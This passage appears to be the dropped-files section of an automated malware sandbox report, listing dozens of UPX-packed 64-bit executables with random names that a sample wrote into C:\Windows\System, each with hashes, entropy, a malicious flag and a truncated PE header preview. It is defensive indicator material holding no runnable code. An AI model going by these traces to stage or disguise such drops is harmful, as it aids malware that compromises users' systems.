SHA1:	6794BECD1229D4D4733888A763628CFC2E1044AE
SHA-256:	7E4411DC3C04D540531E15DC4F95347C886186F785252D88B508DF868FE6D8E6
SHA-512:	935DBD33F8F8E0F53AE9BAB4A7F5AA535E23C86D920D5F9510BA4D428B158DCC64AACF4BE02EBEDB6CEDC6070CCE9956FD19DF18D55C88F3AA0592AB9375599F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\nKUJunm.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1325222
Entropy (8bit):	7.2176679176176055
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7GlWFj:Lz071uv4BPMkibTIA5JnJ17
MD5:	27E79352004E4CD90872B610E0973B2D
SHA1:	0EA9535D2856DD7B0C00F70DC5B8B8A6F2E25573
SHA-256:	D28EDBA1FF60FC6C0D689EF538BC361A66C2233D9F3D0838BE1E0FED5699F577
SHA-512:	F72A7C0405322C120C87A8A4EEC1DA1C59B68F16EE7B0F3F6C5FAFC1155879252FBD1BF9C4BD2CEB4AA8C1B7BF4F46E5A4C04B62A1D7E54A90F2A79663EE16F9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\nWSykjl.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1269815
Entropy (8bit):	7.258325983983943
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7DN:Lz071uv4BPMkibTIA5JnJ1dN
MD5:	CA5C9DD07F94867C833B46D4FB92B257
SHA1:	992AE72F0B320FEA005F3F84536ACBD9B9401620
SHA-256:	5A590DF6AE5DB2C04AF64F0EE07DA7404553586DB22535BEA6124B8C589E13FB
SHA-512:	3C5A6B6D095FB457EF191FE2DB6DAD13F962E872108FBC19AB1943313F35AFE4A33E5D4DA9AF1285835513A8235D4CF17EBBE874DB7389C280D6149C06B48D6B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ndpwHPZ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1305488
Entropy (8bit):	7.231898010397456
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7UN:Lz071uv4BPMkibTIA5JnJ1m
MD5:	BD229FA3CB049BE27128E21A60DBAA79
SHA1:	A39085F7E8BE429E95354063C93D841FF982468C
SHA-256:	AAF30826D4103BB699E393B5EAE85520104752F0294C8CA367FF8E8FA0527756
SHA-512:	D576F94F0FA4433DDEA75D358FBA8EA8C3435163200984C1FEDE747C55419E80B3CD4747FDEF31BE60141E3E256B667CAEB233CD8B291AC19AC1F97FD284DB99
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\nkFLDPI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1295368
Entropy (8bit):	7.239290357877473
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG766:Lz071uv4BPMkibTIA5JnJ1Y6
MD5:	8AAD5F024663CA933EDF8BC4803E20ED
SHA1:	67E1E1CEF30846D1E8AE335501B2B32FB2BC01AF
SHA-256:	0DB321AA13164AEB8274D7A85EC41D79E57379F17AE4A8A2A8E3272AB31C5298
SHA-512:	0ADCB72413BC4245810AC2AD84A668AA324D0792D221198AA4AC8102C42EE6FCF18F02F95126C95F52A35AD2BC3F30B47ADE07567F2433C8589AD260F0B84143
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\oCLXTVT.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1332306
Entropy (8bit):	7.2126254738530475
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7t+W:Lz071uv4BPMkibTIA5JnJ1PH
MD5:	8FB4E97B65B10C117012479C478D32AD
SHA1:	41A10F43BAD5A8207F0780BCC7C5BD5B0CF5BB81
SHA-256:	E95B39B02BEBF426AFF51D7415E02ED80163000900211A5DF929BD04AFA9D24B
SHA-512:	650FE86470BCD19AA4B6DADE1F8B5154E78BCCD4FAC8420485596A7B50F7B96D313DD539B6193B30C7EE14FA761C3059EA917ED2BEBB9490E7F5E37578E8F0F9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\oUGjnOU.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1363678
Entropy (8bit):	7.190690070911131
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7ZMDC:Lz071uv4BPMkibTIA5JnJ1mC
MD5:	3FD068C0A978BF46182D95B5D232D414
SHA1:	FE6D7FD9A695E0782CF57BFC894A39118EE75404
SHA-256:	E13427B46F351799D6BD1652190F59E48DE3D70CC5CC98EBA236CDE54E975091
SHA-512:	3B0CBAD2D343282AAC98F6A2E8F63D0F01177CACF3BE23F8177FA12FECB86D8A261FCFCBAC4BCEE6F6CCB5847C35A84121CE7B3E07AB1A4EA87300001AE824A8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\osHoaGO.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1362919
Entropy (8bit):	7.1912014130340784
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7dJDyo2vLl:Lz071uv4BPMkibTIA5JnJ1Bm3h
MD5:	8D49E2A161AD0C28060E56C5709A9BB8
SHA1:	AC846A569248F483B154C74B66B823F32F8E42A4
SHA-256:	B934894D5DBCB5E8DB64365DCC86D7110FE7119C9CC557BE8AF8A925A116E807
SHA-512:	99FD46EF04F7FA4CFB6AB7B0E668C47502758669E8B609AED523047EF2A3728E42105433922AA0E0067FF7922D0DD37BAFF0BC89C9811821642A1AEF85DB0E34
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\otCfESI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1350269
Entropy (8bit):	7.199976761286204
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7z9m:Lz071uv4BPMkibTIA5JnJ1N9m
MD5:	1DC6FF6A1C8C864612B20DD49F7BEC2C
SHA1:	8615FFCBDC8BA802A56D8C56433F42E875EDD5B9
SHA-256:	5DCC884FDDB0F806C22CB83B4D1604ED1263D801A4E88C96BE579DA2AB25ED2D
SHA-512:	C7810BFC5B254F1A17E2BA2122D2A3F5F030E04FD551659CB529DCB11B93F8FF76B8E8D3E5774E10A4BCF1F1CDED8F0AC1C5DDCFB70D3CF428FA30DD0C093A35
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\oxCQuSo.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1266526
Entropy (8bit):	7.260803325281606
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7F:Lz071uv4BPMkibTIA5JnJ13
MD5:	99FECFBC9BBE117BE95B39527A48C584
SHA1:	3DD7E288F686E3B380E821718F6D43625C0A5E71
SHA-256:	8C36AD0B18DFAF38B3511C9B433C95007D6BA85A319163896BC78AD165FDF3CA
SHA-512:	D472F7A4CEA48F3613BB1C980FC723A54A40303CDF8E1DA14B097748367B10FE4481B49C6451F527407F3685DBA3D547D1BDA07C79A4DE953AAE8FBBD3098B9D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\pBTelAj.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1363425
Entropy (8bit):	7.1908567546487046
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7A+m:Lz071uv4BPMkibTIA5JnJ1K
MD5:	2D5A6CABA61357B4999F9E3332DA35A9
SHA1:	06D568D71007E10F03B9123A44778FE33C80B255
SHA-256:	6BFA7B06AD5D256AE5D6012529905D0F180F8DECC82ED733D4EBD1980F3479B5
SHA-512:	0B9D55A41FC30EC89FEEF2545C6DD5387D15D0A0086ED948515B525D29BC85B642A74D948EB01437687222A242A9BDDF8F34FFE87B8CB8C679580CD1151B04A9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\pGmaKvE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1353052
Entropy (8bit):	7.198033987405781
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7VXQ:Lz071uv4BPMkibTIA5JnJ1E
MD5:	E810FFEB906BA3000ECBECCDF9674206
SHA1:	7501B19EFADFC170F5C566F784BE354DC5FA4F1C
SHA-256:	99FC5174B276C6EA16E2C2CA8DA43941F9B259CA722340329EE0150B5B6A86C2
SHA-512:	9C26DD71012C4CC028A3F4D428B5553409266B907E1C551A38298DFF0786BDB2616BA74C633E3BE3B576BEBAD845BEC246A7D32C0556B258BF0103188D43436B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\pMMnfcQ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1320668
Entropy (8bit):	7.220921176394663
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7ApKa:Lz071uv4BPMkibTIA5JnJ16X
MD5:	5C18AA012773F47B164FBD732DD147B2
SHA1:	35F2769C57F35F70809904EFE5A969CE1115227D
SHA-256:	2FF339BF66C021473B8C9FF4A5EEBFADF9BA075D30E936803A15826618A4F7ED
SHA-512:	CEA61F7B8D229D2006DAA731ED80250CCABC549CE51C754F85010D6958C4BC152AB678127A27D97831642BFBF86A3ADD363243E0A32DA66E4264518D20CC2B24
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\pMaKiZu.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1301440
Entropy (8bit):	7.234860529123497
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7QF:Lz071uv4BPMkibTIA5JnJ1M
MD5:	D6BA749A8D5E66C37F8AFDF9DA6EF9BE
SHA1:	A940A2661FFD6A426413384EADE563B8BB2021F8
SHA-256:	C61906EC6B1A992FC6B0F5BC1E33D59A4ABC6428DE8FC4339529B6220FA9CBBE
SHA-512:	48CDE62E1F275B8C47198C6B2A3EC297B77E4EF50275E7ABE74FABC324EC385B021E70178A5D266FB00598FFA617EB1EAAE58271D57B2F6A8DCAECCE380C1D83
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\pPLiGBV.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1332559
Entropy (8bit):	7.2124269661355775
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7vAIA:Lz071uv4BPMkibTIA5JnJ1J2
MD5:	793155BFC8B055AD3408643321A5FDFD
SHA1:	7A24D44B9D4E3706B578B9513447A318936758DC
SHA-256:	EA1393A84E04902678723936DC5912A58802082AA7E1155E62274B2767119871
SHA-512:	B24BAB96873B8109DA8B9151970E0F276B6B8C702E6F526CBFA145C1B6B0D41DE1FE2E7935A2EF04A8099ECE573ADCF43B17A911203C0DAE7B323515EBB171DB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\pbwrbNh.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1293850
Entropy (8bit):	7.240423970032365
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7s:Lz071uv4BPMkibTIA5JnJ1G
MD5:	730AE4AA0B77B9906539D457B5AEC428
SHA1:	DD4FBDCC60F9A89A5A2F956ED0E35B779A956558
SHA-256:	A11F855EC360010FB22F8EC2F13EC92C647FEEE6A7DEC4BE39C92A64A8C484AC
SHA-512:	D9B19D54026F165852D67D147906F6FE7365AEBDC7ED0F03864D09FDEF39291329B65857C11A4FE7F94FC84A6AC237F3BD1409260C0F489A49AA302017142C6D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\pnGqAlS.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1272851
Entropy (8bit):	7.256034265032779
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7P:Lz071uv4BPMkibTIA5JnJ11
MD5:	7C5AFBFA8A7C244C1DF12FDB8E3EF469
SHA1:	4C4338BD9F9F73E54FCC629DB8FD95FB41202E58
SHA-256:	B9E96283EBF6C07E22F217DEB36D942403FCB06F5EADEA48EC105D8B868BDA49
SHA-512:	E2C31725135D4F33F0465BA345A835078671E527FCE6D664EC856C161A5ED90094AECF8D9B96370A3EE1CD56CDBD548DB07E4BF85656A50224154D6E0DD54326
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ppfNNTX.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1297392
Entropy (8bit):	7.237821681620494
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7Us:Lz071uv4BPMkibTIA5JnJ11
MD5:	1193E4D8C1F0EA5A26A7A427BC859A68
SHA1:	FFDB7C9CBCB0AB186D4D2A1416AAFE35142D1E78
SHA-256:	323E2A2FAB095FA71CB4F1291C382C4E7D7ABBB69020320F61129138866F2C25
SHA-512:	D76FA43EBE9D1B8638DDA978BF2F111B2DCE43E78B08DE9C43D8AB8350D9C3B4F0DB2A153F446B008F7573B1DCBD71D69FA0EF2F4CE867D5B8EBF59B8A84CFA9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\pzbELEW.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1342679
Entropy (8bit):	7.205283720499069
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7J5:Lz071uv4BPMkibTIA5JnJ1F
MD5:	B44CF05F4119A3E02246343EA7AD54BF
SHA1:	8EDA3D94717184F87A2D33B01A55E01904C5F559
SHA-256:	0006EA28F03DA017B27916026B8D582EC5506AE839DCDF3AC2540508767E799E
SHA-512:	2306208289D9960C2F66147DC8BC84091A409FA247B6C8CF81DC5EE1E9D8050139C7B990EB7647BEB2103E19C3154A0B031838FD8FAF817A57D60239F4FA48FE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\qQyXqOp.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1273357
Entropy (8bit):	7.255660567158828
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7np:Lz071uv4BPMkibTIA5JnJ1Zp
MD5:	12AADAB5B792B7AF227AFFA29AD28BF5
SHA1:	AA684460B10E5514B7F3389EF4731E967ECB0F11
SHA-256:	518196096EC4D840DD48C4956B4999679BF631F7AB4AFEB86F15C98C437421FE
SHA-512:	CC2BC283770FB3A561B4788640A37EFA44428EA95CDB5A3F33863D8D06E531EE833FDD0842442CA572F48859033D3427A3B9B16ABA9FF3A5E3B952BA27601142
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\qdErmhf.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1354317
Entropy (8bit):	7.197143242387059
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7HP5jB:Lz071uv4BPMkibTIA5JnJ1R3
MD5:	731BB60CCEAA7B378BEF0E5C7BCF8151
SHA1:	38BAF400D0C6E0C05BA690F1A0B7BEB7F7E2A7EC
SHA-256:	03F7157902787F6B69A89E0AEB412A2D719A67D1ACA02DD4BD50D8A256181A72
SHA-512:	5F44C2CF2F2B84682A740E2D1032C97775AEA47FCE078D8370DBFFA9C38FB3C4C9FBCEF9C7A2669AAB196897A8885F8B9922173C089C80BAC2C50F82DFD61E1D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\qmcblFN.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1348751
Entropy (8bit):	7.201032345041647
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7FD3Js:Lz071uv4BPMkibTIA5JnJ1/zG
MD5:	115A658A858B885393F2FF0FCFB1B2F4
SHA1:	CC713C08D34222B64A077CBB30DEE4B09DCD279A
SHA-256:	B45963591D3F09CFB00839D40105E09486D71D744C7437E35276367756F96262
SHA-512:	974D05A21399FCEE26F25C76F156A31EF7D4D1F0B07339DB8484FA04BDA182611C1B70152DB0BE0C6AEC516760D11A37ED6ABAFC2C0F50F2C759D664FA105C10
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\rDRaLhy.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1335089
Entropy (8bit):	7.210639206873669
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG76:Lz071uv4BPMkibTIA5JnJ1w
MD5:	7CA7FDEA2D9158A82A6E0A361A3BDA3A
SHA1:	651D1114A58A2ED74AC59ED21FEF14B9A15D03F0
SHA-256:	4600A5ADECB19A41E1EEB00F941B7483C6E7D0F4814371E98DF030B591D9E3AD
SHA-512:	229991CE4F822657F1396F9BE0618908E29B76FDB0718B230559C653B8EBB9FF12E7CA9F35D9AF64A5ABDC0FFDCE9CE96412F79750709C54C69C1E6CBA884B4F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\rKZvlov.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1327246
Entropy (8bit):	7.216211066100782
Encrypted:	false
